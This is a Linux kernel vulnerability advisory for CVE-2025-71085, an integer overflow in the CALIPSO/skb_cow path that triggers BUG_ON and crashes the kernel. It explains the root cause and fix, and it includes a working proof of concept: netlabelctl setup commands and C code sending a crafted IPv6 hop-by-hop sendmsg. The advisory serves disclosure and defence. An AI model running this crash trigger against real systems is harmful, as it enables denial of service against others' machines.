CVE-2025-71085

In the Linux kernel, the following vulnerability has been resolved:

ipv6: BUG() in pskb_expand_head() as part of calipso_skbuff_setattr()

There exists a kernel oops caused by a BUG_ON(nhead < 0) at net/core/skbuff.c:2232 in pskb_expand_head(). This bug is triggered as part of the calipso_skbuff_setattr() routine when skb_cow() is passed headroom > INT_MAX (i.e. (int)(skb_headroom(skb) + len_delta) < 0).

The root cause of the bug is due to an implicit integer cast in __skb_cow(). The check (headroom > skb_headroom(skb)) is meant to ensure that delta = headroom - skb_headroom(skb) is never negative, otherwise we will trigger a BUG_ON in pskb_expand_head(). However, if headroom > INT_MAX and delta <= -NET_SKB_PAD, the check passes, delta becomes negative, and pskb_expand_head() is passed a negative value for nhead.

Fix the trigger condition in calipso_skbuff_setattr(). Avoid passing "negative" headroom sizes to skb_cow() within calipso_skbuff_setattr() by only using skb_cow() to grow headroom.

PoC: Using netlabelctl tool:

    netlabelctl map del default
    netlabelctl calipso add pass doi:7
    netlabelctl map add default address:0::1/128 protocol:calipso,7

    Then run the following PoC:

    int fd = socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP);

    // setup msghdr
    int cmsg_size = 2;
    int cmsg_len = 0x60;
    struct msghdr msg;
    struct sockaddr_in6 dest_addr;
    struct cmsghdr * cmsg = (struct cmsghdr *) calloc(1,
                    sizeof(struct cmsghdr) + cmsg_len);
    msg.msg_name = &dest_addr;
    msg.msg_namelen = sizeof(dest_addr);
    msg.msg_iov = NULL;
    msg.msg_iovlen = 0;
    msg.msg_control = cmsg;
    msg.msg_controllen = cmsg_len;
    msg.msg_flags = 0;

    // setup sockaddr
    dest_addr.sin6_family = AF_INET6;
    dest_addr.sin6_port = htons(31337);
    dest_addr.sin6_flowinfo = htonl(31337);
    dest_addr.sin6_addr = in6addr_loopback;
    dest_addr.sin6_scope_id = 31337;

    // setup cmsghdr
    cmsg->cmsg_len = cmsg_len;
    cmsg->cmsg_level = IPPROTO_IPV6;
    cmsg->cmsg_type = IPV6_HOPOPTS;
    char * hop_hdr = (char *)cmsg + sizeof(struct cmsghdr);
    hop_hdr[1] = 0x9; //set hop size - (0x9 + 1) * 8 = 80

    sendmsg(fd, &msg, 0);

This vulnerability allows an unprivileged user to trigger a kernel BUG by causing an integer overflow in the headroom calculation used by skb_cow(), which results in a negative size passed to pskb_expand_head(). The kernel subsequently hits a reachable BUG_ON() and crashes, leading to a reliable denial-of-service condition. In worst-case scenarios, this path may be reachable via crafted IPv6 traffic with CALIPSO options.

The CVSS score(s) listed for this vulnerability do not reflect the associated product's status, and are included for informational purposes to better understand the severity of this vulnerability.

Mitigation for this issue is either not available or the currently available options don't meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base or stability.